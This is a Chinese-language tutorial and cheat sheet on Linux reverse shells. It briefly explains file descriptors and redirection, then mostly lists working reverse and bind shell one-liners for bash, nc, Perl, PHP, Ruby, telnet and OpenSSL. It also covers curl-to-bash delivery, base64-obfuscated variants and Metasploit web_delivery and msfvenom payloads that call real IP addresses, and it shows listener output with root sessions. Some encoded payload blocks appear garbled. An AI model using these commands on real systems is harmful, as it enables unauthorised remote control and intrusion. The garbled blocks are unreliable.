

Linux反弹Shell篇

Linux标准文件描述符

更改标准输出的位置

更改标准输入的位置

/dev/null

重定向

输入重定向

输出重定向

管道

反弹shell的本质

什么是反弹shell

实现控制端和被控端之间的交互

反弹shell方法

NC

Bash

Perl

Curl

Python

PHP

Ruby

Telnet

OpenSSL

Refer

Linux反弹Shell篇

Linux标准文件描述符

Linux系统将所有设备都当作文件来处理，而Linux用文件描述符来标识每个文件对象。当Linux启动的时候会默认打开三个文件描述符。

文件描述符	缩写	描述	默认设备
0	STDIN	标准输入	默认设备键盘
1	STDOUT	标准输出	默认设备显示器
2	STDERR	标准错误输出	默认设备显示器

我们与计算机之间的交互是我可以输入一些指令之后它给我一些输出。

文件描述符0：理解为我和计算机交互时的输入，而这个输入默认是指向键盘的；

文件描述符1：理解为我和计算机交互时的输出，而这个输出默认是指向显示器的；

文件描述符2：理解为我和计算机交互时，计算机出现错误时的输出，而这个输出默认是和文件描述符1指向一个位置；

更改标准输出的位置

把标准输出位置更改到test文件中：

```
1 exec 1> test
```

把当前标准输出重定向到test文件中：

```
1 → ~ → echo 'lst' 1> test
2 → ~ → cat test
3 lst
```

更改标准输入的位置

从键盘输入，把输入读入user变量

```
1 → ~ → read user
2 testtest
3 → ~ → echo $user
4 testtest
```

把test文件中的内容重定向到标准输入：

```
1 → ~ → read user 0< test
2 → ~ → echo $user
3 lst
```

标准错误输出和标准输出的区别是，它在命令出错情况下的输出。

```
1 exec 2> test
```

分配自己的文件描述符：

```
1 → ~ → exec 5> test
2 → ~ → echo 'are you ok?' 1>&5
3 → ~ → cat test
4 are you ok?
```

把文件描述符5指向test文件，然后把当前输出重定向到文件描述符5（用&引用文件描述符，即找到文件描述符指向的目标文件）

/dev/null

特殊文件，写入的任何东西都会被清空。

1. 把标准错误输出重定向到/dev/null，从而丢掉不想保存的错误信息

```
1 | whoami 2>/dev/null
```

2. 快速移除文件中的数据而不用删除文件

```
1 | cat /dev/null > test
```

重定向

重定向是把输出定向到文件或者标准流。重定向输入输出本质上就是重定向文件描述符。

输入重定向

```
1 | <  
2 | 从文件读取输入。
```

输出重定向

```
1 | >  
2 | 将输出保存到文件。  
3 |  
4 | >>  
5 | 将输出追加到文件。
```

管道

```
1 | |  
2 | 将一个程序的输出作为输入发送到另一个程序。
```

反弹shell的本质

什么是反弹shell

被控端主动发起连接请求去连接控制端，通常被控端由于防火墙限制、权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包。

被控端：

```
1 bash -i >& /dev/tcp/10.10.1.11/6666 0>&1
```

控制端：

```
1 nc -lvvp 6666
```

参数解释：

```
1 bash -i
2 打开一个交互式的bash shell。
3
4 /dev目录
5 /dev/tcp/是Linux中的一个特殊设备，打开这个文件就相当于发起了一个socket调用，建立一个socket连接，读写这个文件就相当于在这个socket连接中传输数据。
6
7 /dev/tcp/10.10.1.11/6666
8 和10.10.1.11的6666端口建立TCP连接
```

实现控制端和被控端之间的交互

1. 把被控端的交互式shell输出重定向到控制端：

```
1 bash -i > /dev/tcp/10.10.1.11/6666
```

把被控端执行的命令结果返回到控制端。

```
root@kali:~# nc -lvvp 6666
listening on [any] 6666 ...
connect to [10.10.1.11] from host-10-10-1-7.openstacklocal [10.10.1.7] 52798
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
a
anaconda-ks.cfg
apache2_BackdoorMod
mysqlpasswd.txt
mysql.pcapng
original-ks.cfg
perl_reverse_shell
```

```
[root@centos ~]# bash -i > /dev/tcp/10.10.1.11/6666
[root@centos ~]# id
[root@centos ~]# ls
[root@centos ~]#
```

2. 把控制端的输入重定向到被控端的交互式shell：

```
1 bash -i < /dev/tcp/10.10.1.11/6666
```

```
root@kali:~# nc -lvvp 6666
listening on [any] 6666 ...
connect to [10.10.1.11] from host-10-10-1-7.openstacklocal [10.10.1.7] 52804
id
sent 3, rcvd 0
root@kali:~#
```

```
[root@centos ~]# bash -i < /dev/tcp/10.10.1.11/6666
[root@centos ~]# id
[root@centos ~]#
```

3. 结合两条语句

```
1 bash -i > /dev/tcp/10.10.1.11/6666 0>&1
```

由 `/dev/tcp/10.10.1.11/6666` 传递的数据作为交互式shell的输入，命令执行后的结果输出到 `/dev/tcp/10.10.1.11/6666`。

```
root@kali:~# nc -lvvp 6666
listening on [any] 6666 ...
connect to [10.10.1.11] from host-10-10-1-7.openstacklocal [10.10.1.7] 52808
id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
ls
a
anaconda-ks.cfg
apache2_BackdoorMod
mysqlpasswd.txt
mysql.pcapng
original-ks.cfg
perl_reverse_shell
```

```
[root@centos ~]# bash -i > /dev/tcp/10.10.1.11/6666 0>&1
[root@centos ~]# id
[root@centos ~]# ls
[root@centos ~]#
```

4. bash反弹shell

```
1 bash -i &> /dev/tcp/10.10.1.11/6666 0>&1
2 bash -i > /dev/tcp/10.10.1.11/6666 0>&1 2>&1
```

`>&`、`&>`：混合输出（正确、错误的输出都输出到一个地方）

```
root@kali:~# nc -lvvp 6666
listening on [any] 6666 ...
connect to [10.10.1.11] from host-10-10-1-7.openstacklocal [10.10.1.7] 52810
[root@centos ~]# ls
ls
a
anaconda-ks.cfg
apache2_BackdoorMod
mysqlpasswd.txt
mysql.pcapng
original-ks.cfg
perl_reverse_shell
[root@centos ~]# id
id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@centos ~]# 123
123
bash: 123: command not found
[root@centos ~]#
```

```
[root@centos ~]# bash -i &> /dev/tcp/10.10.1.11/6666 0>&1
```

反弹shell方法

NC

- NC正向Shell

```
1 被控端:  
2 nc -lvvp 6666 -e /bin/sh  
3  
4 控制端:  
5 nc 10.10.1.7 6666  
6  
7 原 理:  
8 被控端使用nc将/bin/sh绑定到本地的6666端口，控制端主动连接被控端的6666端  
口，即可获得shell
```



- NC反向Shell

```
1 控制端:  
2 nc -lvvp 6666  
3  
4 被控端:  
5 nc -e /bin/sh 10.10.1.11 6666  
6  
7 原理:  
8 被控端使用nc将/bin/sh发送到控制端的6666端口，控制端只需要监听本地的6666  
端口，即可获得shell。
```

Kali 10.10.1.11

Centos7 10.10.1.7



nc -lvvp 6666

nc -e /bin/sh 10.10.1.11 6666

- 无 -e 参数反弹shell

```
1 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 139.155.49.43 6666 >/tmp/f
```

mkfifo 命令首先创建了一个管道，cat 将管道里面的内容输出传递给/bin/sh，sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道，由此形成了一个回路。

```
root@VM-0-2-ubuntu:~# rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 47.101.214.85 6666 >/tmp/f
```

```
~ → nc -lvvp 6666
Listening on [0.0.0.0] (family 0, port 6666)
Connection from 139.155.49.43 36228 received!
# whoami
root
#
```

```
1 mknod backpipe p; nc 47.101.214.85 6666 0<backpipe | /bin/bash 1>backpipe 2>backpipe
```

```
root@VM-0-2-ubuntu:~# mknod backpipe p; nc 47.101.214.85 6666 0<backpipe | /bin/bash 1>backpipe 2>backpipe
```

```
~ → nc -lvvp 6666
Listening on [0.0.0.0] (family 0, port 6666)
Connection from 139.155.49.43 36252 received!
whoami
root
```

linux mkfifo命令: <https://www.cnblogs.com/old-path-white-cloud/p/11685558.html>

Linux mknod 命令: 创建字符设备文件和块设备文件, <https://man.linuxde.net/mknod>

msfvenom -l payloads | grep "netcat" | awk '{print \$1}'

Bash

```
1 被控端:
2  bash -i >& /dev/tcp/47.101.214.85/6666 0>&1
3
4  控制端:
5  nc -lvvp 6666
```

```
root@kali:~# nc -lvvp 6666
listening on [any] 6666 ...
connect to [10.10.1.11] from host-10-10-1-7.openstacklocal [10.10.1.7] 52576
[root@centos ~]# ls
ls
anaconda-ks.cfg
apache2_BackdoorMod
mysqlpasswd.txt
mysql.pcapng
original-ks.cfg
[root@centos ~]#
```

```
[root@centos ~]# bash -i >& /dev/tcp/10.10.1.11/6666 0>&1
```

```
1 被控端:
2  exec 5<>/dev/tcp/139.155.49.43/6666;cat <&5 | while read line;
   do $line 2>&5 >&5; done
3
4  控制端:
5  nc -lvvp 6666
6
7  base64编码绕过:
8  bash -c "echo
   YmFzaCAtaSA+JiAVZGV2L3RjcC80Ny4xMDEuMjE0Ljg1LzY2NjYgMD4mMQ==|b
   ase64 -d|bash -i"
```

```
1  msfvenom -p cmd/unix/reverse_bash lhost=10.10.1.11 lport=6666
   -f raw
```

```
msfvenom -l payloads | grep "bash" | awk '{print $1}'
```

Perl

```
1  perl -e 'use
   Socket;$i="47.101.214.85";$p=6666;socket(S,PF_INET,SOCK_STREAM
   ,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton(
   $i))))
   {open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec(
   "/bin/sh -i");};'
```

```
~# nc -lvvp 6666
listening on [0.0.0.0] (family 0, port 6666)
Connection from 139.155.49.43 36354 received!
# whoami
root
#
```

```
root@VM-0-2-ubuntu:~# perl -e 'use Socket;$i="47.101.214.85";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```



```
1 perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"47.101.214.85:6666");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```

```
* ~ - nc -lvvp 6666
Listening on [0.0.0.0] (family 0, port 6666)
Connection from 139.155.49.43 36372 received!
whoami
root
```

```
root@VM-0-2-ubuntu:~# perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"47.101.214.85:6666");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Parameterless "use IO" deprecated at -e line 0.
root@VM-0-2-ubuntu:~#
```

```
msfvenom -l payloads | grep "perl" | awk '{print $1}'
```

Curl

- vps

```
1 root@VM-0-2-ubuntu:~# cat index.html
2 bash -i >& /dev/tcp/139.155.49.43/6666 0>&1
3
4 root@VM-0-2-ubuntu:~# python3 -m http.server
5 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
6 47.101.214.85 - - [03/Dec/2020 09:21:39] "GET /1.sh HTTP/1.1"
200 -
```

- target

```
1 curl 139.155.49.43:8000|bash
```

- result

```
1 root@VM-0-2-ubuntu:~# nc -lvvp 6666
2 Listening on [0.0.0.0] (family 0, port 6666)
3 Connection from 47.101.214.85 46370 received!
4 root@izuf6j06q5f1lz:~#
```

```
root@VM-0-2-ubuntu:~# msfvenom -p python/peterpreter/reverse_tcp LHOST=139.155.49.43 LPORT=6666 -f raw
[+] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[+] No arch selected, selecting arch: python from the payload
No encoder specified, outputting raw payload
Payload size: 407 bytes
exec! (import ('base64','base64decode')(import ('codecs','getencoder')(utf-8))('A'wMhD30tTHWVY2tldxc6B6lGJhc2U2NCZuc2RhdDQ1Y3QsdGZlM20mB3lgeCBpbBhYWN5ZWxgMCK6Glc0cDk6G3k1b2NlZkZxc29ja2V0KDI5dGZlZGVzA2VlLnQ0PQ0tFURSRURRkQ3CMXUy29ubWVlZGcgD2oE2o4xNTUuNDMlNDMlDY2NjYkpQOGZjZWZrFcglllclhQ6Gkg3dGdlZTS552bWVlcGllGkQpSPN6NzGlcDZlbnRlbnZso2J3ZjZlc3lnZlJlY3NlY3NkckpWBCdmc09cy5ZWmZkGwpcdGwmlTGxlbhktK3lx0sg0ZCs9cy5ZWmZkGwrtbGwVUkGpQkPleGvYkHpsAtuZGvJb2I2cWmVzc3h1YXNlbnJ1YjY0ZGvJb2RlKGpKSPx7J3
```

```

python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aw1wb3J0IHV2ZltdcX6bG1lGJhc2U2NCxzdhJlY3QsZGltZ0pmb3lgetCpb18y
rWsn25gWkckc3l0cmlkZ212b2NfZXQue29ja2V0KDIsY29ja2V0L1p000fU1RSRUJFK00jCXMuY29ubmVjdC9o3ZEs4WU0uNDkuNDM0Y29uY29frcGllleGNleH06c3l0ZGltZS52bGVl
cG91K0psPmN0bnVjdc51bnBhY2s0J251jyx2LnJlY3Y0NkpmZBdcmQ9cy5yZW2K6wpCndoawXl1GxlbhkhKTxs0go3Zcs9cy5yZW2K6wtbGVuK0pKQpl6GVjKHpsaW1uZGVjb21wcmVzcyh1YXNlNjQuYjY0
ZGVjb2RlK0pKQpKsX7J3Mn0nN9KQ==')[0]])"

msf6 > handler -p python/meterpreter/reverse_tcp -H 139.155.49.43 -P 6666
[*] Payload handler running as background job 0.

[-] Handler failed to bind to 139.155.49.43:6666:-
[*] Started reverse TCP handler on 0.0.0.0:6666
msf6 >
msf6 > jobs

Jobs
====

  Id  Name                               Payload                               Payload opts
  --  -
  0    Exploit: multi/handler             python/meterpreter/reverse_tcp      tcp://139.155.49.43:6666

msf6 >
[*] Sending stage (39324 bytes) to 47.101.214.85
[*] Meterpreter session 1 opened (172.27.0.2:6666 -> 47.101.214.85:33866) at 2020-11-24 16:33:25 +0800

msf6 > sessions

Active sessions
=====

  Id  Name      Type           Information                                     Connection
  --  -
  1    meterpreter python/linux root @ iZuf6jc5pa52ijq06q5f1LZ 172.27.0.2:6666 -> 47.101.214.85:33866 (172.19.178.223)

msf6 >

```

- 通过Web delivery反弹shell:

```

1 use exploit/multi/script/web_delivery
2 msf5 exploit(multi/script/web_delivery) > set target 0
3 msf5 exploit(multi/script/web_delivery) > set payload
  python/meterpreter/reverse_tcp
4 msf5 exploit(multi/script/web_delivery) > set lport 8888
5 msf5 exploit(multi/script/web_delivery) > exploit -j
6
7 python -c "import sys;import ssl;u=__import__('urllib'+
  {2:',' ,3:'.request'}[sys.version_info[0]],fromlist=
  ('urlopen',));r=u.urlopen('http://139.155.49.43:8080/pwMAajktf
  ', context=ssl._create_unverified_context());exec(r.read());"

```

```

msf6 exploit(multi/script/web_delivery) > options
Module options (exploit/multi/script/web_delivery):
-----
  Name      Current Setting  Required  Description
  -
  SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT    8080             yes       The local port to listen on.
  SSL        false            no        Negotiate SSL for incoming connections
  SSLCert    Path to a custom SSL certificate (default is randomly generated)
  URIPATH    The URI to use for this exploit (default is random)

Payload options (python/meterpreter/reverse_tcp):
-----
  Name      Current Setting  Required  Description
  -
  LHOST     139.155.49.43    yes       The listen address (an interface may be specified)
  LPORT     4455             yes       The listen port

Exploit target:
  Id  Name
  --  -
  0    Python

msf6 exploit(multi/script/web_delivery) > run
[*] Exploit running as background job 3.
[*] Exploit completed, but no session was created.

[-] Handler failed to bind to 139.155.49.43:4455:-
[*] Started reverse TCP handler on 0.0.0.0:4455
[*] Using URL: http://0.0.0.0:8080/pwMAajktf
[*] Local IP: http://172.27.0.2:8080/pwMAajktf
[*] Server started.
[*] Run the following command on the target machine:
python -c "import sys;import ssl;u=__import__('urllib'+{2:',' ,3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://139.155.49.43:8080/pwMAajktf', context=ssl._create_unverified_context());exec(r.read());"
msf6 exploit(multi/script/web_delivery) > [*] 47.101.214.85 web_delivery -
Delivering Payload (497 bytes)
[*] Sending stage (39328 bytes) to 47.101.214.85
[*] Meterpreter session 2 opened (172.27.0.2:4455 -> 47.101.214.85:39040) at 2020-11-24 16:41:50 +0800

```

msfvenom -l payloads | grep "python" | awk '{print \$1}'

PHP

- PHP一行命令反弹shell

```
1 php -r '$sock=fsockopen("47.101.214.85",7777);exec("/bin/sh -i <&3 >&3 2>&3");'
```

```
+ ~ + nc -lvvp 7777
Listening on [0.0.0.0] (family 0, port 7777)
Connection from 139.155.49.43 45124 received!
# whoami
root
#
```

```
root@VM-0-2-ubuntu:~# php -r '$sock=fsockopen("47.101.214.85",7777);exec("/bin/sh -i <&3 >&3 2>&3");'
```

- Msfvenom生成php反弹shell脚本

```
1 msfvenom -p php/bind_php lport=6666 -f raw > bind_php.php
```

```
root@VM-0-2-ubuntu:~# msfvenom -p php/bind_php lport=6666 -f raw > bind_php.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 2483 bytes
root@VM-0-2-ubuntu:~# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
69.162.83.246 - - [24/Nov/2020 16:51:12] code 404, message File not found
69.162.83.246 - - [24/Nov/2020 16:51:12] "GET http://example.com/ HTTP/1.1" 404 -
47.101.214.85 - - [24/Nov/2020 16:51:32] "GET /bind_php.php HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
root@VM-0-2-ubuntu:~# curl http://47.101.214.85/bind_php.php
```

```
→ /var/www/html → wget 139.155.49.43:8000/bind_php.php
--2020-11-24 16:51:32-- http://139.155.49.43:8000/bind_php.php
Connecting to 139.155.49.43:8000.. connected.
HTTP request sent, awaiting response... 200 OK
Length: 2483 (2.4K) [application/octet-stream]
Saving to: 'bind_php.php'

bind_php.php                               100%[=====]
2020-11-24 16:51:32 (285 MB/s) - 'bind_php.php' saved [2483/2483]
```

```
msf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):
  Name  Current Setting  Required  Description
  ----  -
  LPORT  6666             yes       The listen port
  RHOST  47.101.214.85    no        The target address

Payload options (php/bind_php):
  Name  Current Setting  Required  Description
  ----  -
  LPORT  6666             yes       The listen port
  RHOST  47.101.214.85    no        The target address

Exploit target:
  Id  Name
  --  -
  0    Wildcard Target

msf6 exploit(multi/handler) > run
[*] Started bind TCP handler against 47.101.214.85:6666
[*] Command shell session 3 opened (0.0.0.0:0 -> 47.101.214.85:6666) at 2020-11-24 16:52:26 +0800

whoami
www-data
```

- 通过web_delivery反弹shell:

```
1 use exploit/multi/script/web_delivery
2 msf5 exploit(multi/script/web_delivery) > set target 1
3 msf5 exploit(multi/script/web_delivery) > set payload
  php/meterpreter/reverse_tcp
4 msf5 exploit(multi/script/web_delivery) > exploit -j
5
6 php -d allow_url_fopen=true -r
  "eval(file_get_contents('http://139.155.49.43:8080/RRfKpX',
  false, stream_context_create(['ssl'=>
  ['verify_peer'=>false,'verify_peer_name'=>false]]))));"
```

```
msf6 exploit(multi/script/web_delivery) > options
Module options (exploit/multi/script/web_delivery):
  Name  Current Setting  Required  Description
  ----  -
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT  8080             yes       The local port to listen on.
  SSL      false            no        Negotiate SSL for incoming connections
  SSLCert  Path to a custom SSL certificate (default is randomly generated)
  URIPATH  The URI to use for this exploit (default is random)

Payload options (php/meterpreter/reverse_tcp):
  Name  Current Setting  Required  Description
  ----  -
  LHOST  139.155.49.43    yes       The listen address (an interface may be specified)
  LPORT  4455             yes       The listen port

Exploit target:
  Id  Name
  --  -
  1    PHP

msf6 exploit(multi/script/web_delivery) > exploit -j
[*] Exploit running as background job 4.
[*] Exploit completed, but no session was created.

[-] Handler failed to bind to 139.155.49.43:4455:-
[*] Started reverse TCP handler on 0.0.0.0:4455
[*] Using URL: http://0.0.0.0:8080/RRfKpX
[*] Local IP: http://172.27.0.2:8080/RRfKpX
[*] Server started.
[*] Run the following command on the target machine:
  php -d allow_url_fopen=true -r "eval(file_get_contents('http://139.155.49.43:8080/RRfKpX', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]]))));"
msf6 exploit(multi/script/web_delivery) > [*] 47.101.214.85  web_delivery - Delivering Payload (1114 bytes)
[*] Sending stage (39282 bytes) to 47.101.214.85
[*] Meterpreter session 4 opened (172.27.0.2:4455 -> 47.101.214.85:39062) at 2020-11-24 16:56:53 +0800

msf6 exploit(multi/script/web_delivery) >
```

```
1 wget 139.155.49.43/s.php -O /tmp/s.php && php /tmp/s.php
```

```
msfvenom -l payload | grep "php" | awk '{print($1)}'
```

Ruby

```
1 msfvenom -p cmd/unix/bind_ruby lport=6666 -f raw
```

```
root@VM-0-2-ubuntu:~# msfvenom -p cmd/unix/bind_ruby lport=6666 -f raw
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 137 bytes
ruby -rsocket -e 'exit if fork;s=TCPServer.new("6666");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end;end'
root@VM-0-2-ubuntu:~#
```

```
+ /var/www/html → ruby -rsocket -e 'exit if fork;s=TCPServer.new("6666");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end;end'
+ /var/www/html → netstat -an|grep 6666
tcp        0      0 0.0.0.0:6666        0.0.0.0:*          LISTEN      1164/ruby
+ /var/www/html →
```

```
msf6 exploit(multi/script/web_delivery) > handler -p cmd/unix/bind_ruby -H 47.101.214.85 -P 6666
[*] Payload handler running as background job 5.

[*] Started bind TCP handler against 47.101.214.85:6666
msf6 exploit(multi/script/web_delivery) > [*] Command shell session 5 opened (0.0.0.0:0 -> 47.101.214.85:6666) at 2020-11-24 17:02:35 +0800
msf6 exploit(multi/script/web_delivery) > sessions 5
[*] Starting interaction with 5...

whoami
root
```

```
msfvenom -l payload | grep "ruby" | awk '{print($1)}'
```

Telnet

```
1 攻击机:
2 nc -lvvp 5555
3 nc -lvvp 6666
4
5 目标机:
6 telnet 47.101.214.85 5555 | /bin/bash | telnet 47.101.214.85
6666
```

输入命令

```
→ /var/www/html → nc -lvvp 5555
Listening on [0.0.0.0] (family 0, port 5555)
Connection from 139.155.49.43 37842 received!
whoami
id
```

获得命令执行结果

```
→ ~ → nc -lvvp 6666
Listening on [0.0.0.0] (family 0, port 6666)
Connection from 139.155.49.43 43652 received!
root
uid=0(root) gid=0(root) groups=0(root)
```

目标机执行

```
root@VM-0-2-ubuntu:~# telnet 47.101.214.85 5555 | /bin/bash | telnet 47.101.214.85 6666
Trying 47.101.214.85...
Connected to 47.101.214.85.
Escape character is '^]'.
/bin/bash: line 1: Trying: command not found
/bin/bash: line 2: Connected: command not found
/bin/bash: line 3: Escape: command not found
```

- 1 攻击机:
- 2 nc -lvvp 6666

```
→ ~ → nc -lvvp 6666
Listening on [0.0.0.0] (family 0, port 6666)
Connection from 139.155.49.43 43686 received!
whoami
root

id
uid=0(root) gid=0(root) groups=0(root)
```

- 1 目标机:
- 2 rm -f a && mknod a p && telnet 47.101.214.85 6666 0<a | /bin/bash 1>a
- 3 rm -f a;mknod a p;telnet 47.101.214.85 6666 0<a | /bin/bash 1>a

```
root@VM-0-2-ubuntu:~# rm -f a && mknod a p && telnet 47.101.214.85 6666 0<a | /bin/bash 1>a
/bin/bash: line 1: Trying: command not found
/bin/bash: line 2: Connected: command not found
/bin/bash: line 3: Escape: command not found
```

OpenSSL

openssl反弹443端口, 流量加密传输

1. 在远程攻击主机上生成密钥文件

- 1 openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

2. 在远程攻击主机上启动监视器

- 1 openssl s_server -quiet -key key.pem -cert cert.pem -port 443

```

+ ~/openssl → openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
Can't load /root/.rnd into RNG
139797602197952:error:2406F079:random number generator:RAND_load_file:Cannot open file:../crypto/rand/randfile.c:88:Filename=/root/.rnd
Generating a RSA private key
.....++++
writing new private key to 'key.pem'
++++
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:
+ ~/openssl → ls
cert.pem  key.pem
+ ~/openssl → openssl s_server -quiet -key key.pem -cert cert.pem -port 443
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
#

```

3. 在目标机上反弹shell

```

1 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -
  quiet -connect <ATTACKER-IP>:<PORT> > /tmp/s; rm /tmp/s

```

```

root@VM-0-2-ubuntu:~# mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 47.101.214.85:443 > /tmp/s; rm /tmp/s
depth=0 C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
verify error:num=18:self signed certificate
verify return:1
depth=0 C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
verify return:1

```

Refer

<https://medium.com/@int0x33/day-43-reverse-shell-with-openssl-1ee2574aa998>